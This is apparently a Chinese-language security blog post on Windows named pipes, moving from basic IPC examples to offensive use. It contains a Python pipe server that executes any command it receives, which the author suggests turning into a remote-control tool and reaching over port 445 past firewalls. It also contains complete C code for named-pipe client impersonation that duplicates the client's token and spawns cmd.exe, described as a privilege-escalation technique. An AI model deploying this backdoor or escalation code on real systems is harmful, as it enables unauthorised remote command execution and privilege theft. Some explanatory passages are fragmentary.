P
ipe管道利用在 Windows 操作系统中,管道(Pipe) 是一种进程间通信(IPC)的机制,允许数据在两个进程之间传输。管道有两种主要类型:匿名管道和命名管道。以下是它们的详细介绍:
在 C/C++ 中,匿名管道可以通过 CreatePipe
创建:
HANDLE hReadPipe, hWritePipe;
SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE };
if (CreatePipe(&hReadPipe, &hWritePipe, &sa, 0)) {
// 使用管道进行数据通信
}
创建命名管道:
HANDLE hPipe = CreateNamedPipe(
TEXT("\\\\.\\pipe\\MyPipe"), // 管道名
PIPE_ACCESS_DUPLEX, // 双向读写
PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT, // 消息模式
PIPE_UNLIMITED_INSTANCES, // 最大实例数
512, 512, // 输出和输入缓冲区大小
0, // 默认超时时间
NULL // 安全属性
);
if (hPipe != INVALID_HANDLE_VALUE) {
// 等待客户端连接
ConnectNamedPipe(hPipe, NULL);
// 进行数据读写
}
客户端连接管道:
HANDLE hPipe = CreateFile(
TEXT("\\\\.\\pipe\\MyPipe"), // 管道名
GENERIC_READ | GENERIC_WRITE, // 读写权限
0, // 不共享
NULL, // 默认安全属性
OPEN_EXISTING, // 打开现有管道
0, // 默认属性
NULL // 无模板文件
);
使用python实现一下这个功能
服务端代码:
import subprocess
import win32pipe
import win32file
PIPE_NAME = r"\\.\pipe\MyPipe"
def command_execute(command):
"""执行命令并返回输出"""
try:
result = subprocess.run(command, shell=True, capture_output=True, text=True)
return result.stdout + result.stderr
except Exception as e:
return f"Error executing command: {str(e)}"
def start_pipe_server():
print(f"Starting server at pipe: {PIPE_NAME}")
# 创建命名管道
pipe = win32pipe.CreateNamedPipe(
PIPE_NAME,
win32pipe.PIPE_ACCESS_DUPLEX, # 双向通信
win32pipe.PIPE_TYPE_MESSAGE | win32pipe.PIPE_WAIT,
1, # 最大连接数
65536, # 输出缓冲区大小
65536, # 输入缓冲区大小
0,
None
)
print("Waiting for client connection...")
# 等待客户端连接
win32pipe.ConnectNamedPipe(pipe, None)
print("Client connected!")
while True:
try:
print("Waiting for a message...")
# 读取客户端发送的数据
result, message = win32file.ReadFile(pipe, 4096)
print(f"Received message: {message.decode('utf-8')}")
if message.decode('utf-8').strip().lower() == "exit":
print("Exit command received. Closing server.")
break
# 回复客户端
output = command_execute(message.decode('utf-8').strip())
win32file.WriteFile(pipe, output.encode('utf-8')) # 返回结果
except Exception as e:
return f"Client auto close: {str(e)}"
# 关闭管道
win32file.CloseHandle(pipe)
print("Pipe closed.")
if __name__ == "__main__":
start_pipe_server()
客户端代码:
import win32file
import win32pipe
PIPE_NAME = r"\\.\pipe\MyPipe"
def connect_to_pipe():
print(f"Connecting to pipe: {PIPE_NAME}")
# 连接到命名管道
handle = win32file.CreateFile(
PIPE_NAME,
win32file.GENERIC_READ | win32file.GENERIC_WRITE,
0,
None,
win32file.OPEN_EXISTING,
0,
None
)
print("Connected to server.")
return handle
def send_message(pipe_handle, message):
print(f"Sending message: {message}")
win32file.WriteFile(pipe_handle, message.encode('utf-8'))
# 读取服务端的回复
result, response = win32file.ReadFile(pipe_handle, 4096)
print(f"Server response: {response.decode('utf-8')}")
if __name__ == "__main__":
pipe = connect_to_pipe()
# 发送测试消息
send_message(pipe, "calc")
send_message(pipe, "exit") # 发送退出命令
# 关闭管道
win32file.CloseHandle(pipe)
print("Client disconnected.")
执行效果(感兴趣可以开发为远控):
其编程代码风格很像socks的编程,都是创建 ,监听,接收,返回,关闭。
可以跟倾旋的文章:https://payloads.online/archivers/2019-11-10/5
可以想到在防火墙限制很多端口时可以选择445,因为大部分windows的445端口都是默认放行,感兴趣的话可以研究研究创建远程管道
必须想将IPC$进行net use 绑定才可以使用远程管道
ImpersonateNamedPipeClient
冒充该客户端的安全上下文,从而获得与客户端相同的权限。CreateNamedPipe
函数创建一个命名管道。ConnectNamedPipe
等待目标系统中的高权限进程连接到该管道。ImpersonateNamedPipeClient
函数切换当前线程的安全上下文为连接者的上下文。#include<stdio.h>
#include<windows.h>
int main() {
HANDLE hPipe = NULL;
HANDLE tokenHandle = NULL;
HANDLE newtokenHandle = NULL;
STARTUPINFO startupInfo;
startupInfo.cb = sizeof(STARTUPINFO);
PROCESS_INFORMATION processInformation;
wchar_t recv_buf[1024] = { 0 };
ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
hPipe = CreateNamedPipe(L"\\\\.\\pipe\\myServerPipe", PIPE_ACCESS_DUPLEX, PIPE_READMODE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 1024, 1024, 0, NULL);
if (hPipe == INVALID_HANDLE_VALUE) {
printf("CreatePipe Failed");
CloseHandle(hPipe);
}
printf("[+] CreateNamedPipe Successfully\n");
//服务端在这里会进行堵塞,等待客户端进行连接
if (ConnectNamedPipe(hPipe, NULL)) {
printf("[+] ConnectNamedPipe Successfully\n");
//用于使调用线程模仿(impersonate)通过命名管道(named pipe)连接的客户端的安全上下文。
if (ImpersonateNamedPipeClient(hPipe) == 0) {
printf("[!] Error impersonating client %d\n", GetLastError());
CloseHandle(hPipe);
return -1;
}
printf("[+] ImpersonateNamedPipeClient Successfully\n");
//用于打开与当前线程相关联的访问令牌
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &tokenHandle)) {
printf("[!] Error opening thread token %d\n", GetLastError());
CloseHandle(hPipe);
return -1;
}
printf("[+] OpenThreadToken Successfully\n");
//复制现有的访问令牌,并允许对新令牌进行一定的定制化处理。
if (!DuplicateTokenEx(tokenHandle, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &newtokenHandle)) {
printf("[!] Error duplicating thread token %d\n", GetLastError());
CloseHandle(hPipe);
return -1;
}
printf("[+] DuplicateTokenEx Successfully\n");
wchar_t cmdPath[MAX_PATH] = L"c:\\windows\\system32\\cmd.exe";
//这个函数允许在具有特定身份验证的情况下启动一个新进程
if (!CreateProcessWithTokenW(newtokenHandle, LOGON_NETCREDENTIALS_ONLY, NULL, cmdPath, NULL, NULL, NULL, (LPSTARTUPINFOW)&startupInfo, &processInformation)) {
printf("[!] CreateProcessWithTokenW Failed (%d).\n", GetLastError());
CloseHandle(hPipe);
return -1;
}
printf("[+] CreateProcessWithTokenW Successfully\n");
CloseHandle(hPipe);
}
return 0;
}
这个原理也是大部分windows提权的最后一步。这相对简单,我们必须 “欺骗” 一个特权进程(或者只是我们想要模拟的用户)写入我们的命名管道......但是怎么做呢?
嗯,可能有很多场景,例如这个场景,基于 “真实故事” :
综上所述,权限提升的步骤现在很明显:
可能写的地方有些理解错误,希望师傅们能够理解。
1 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!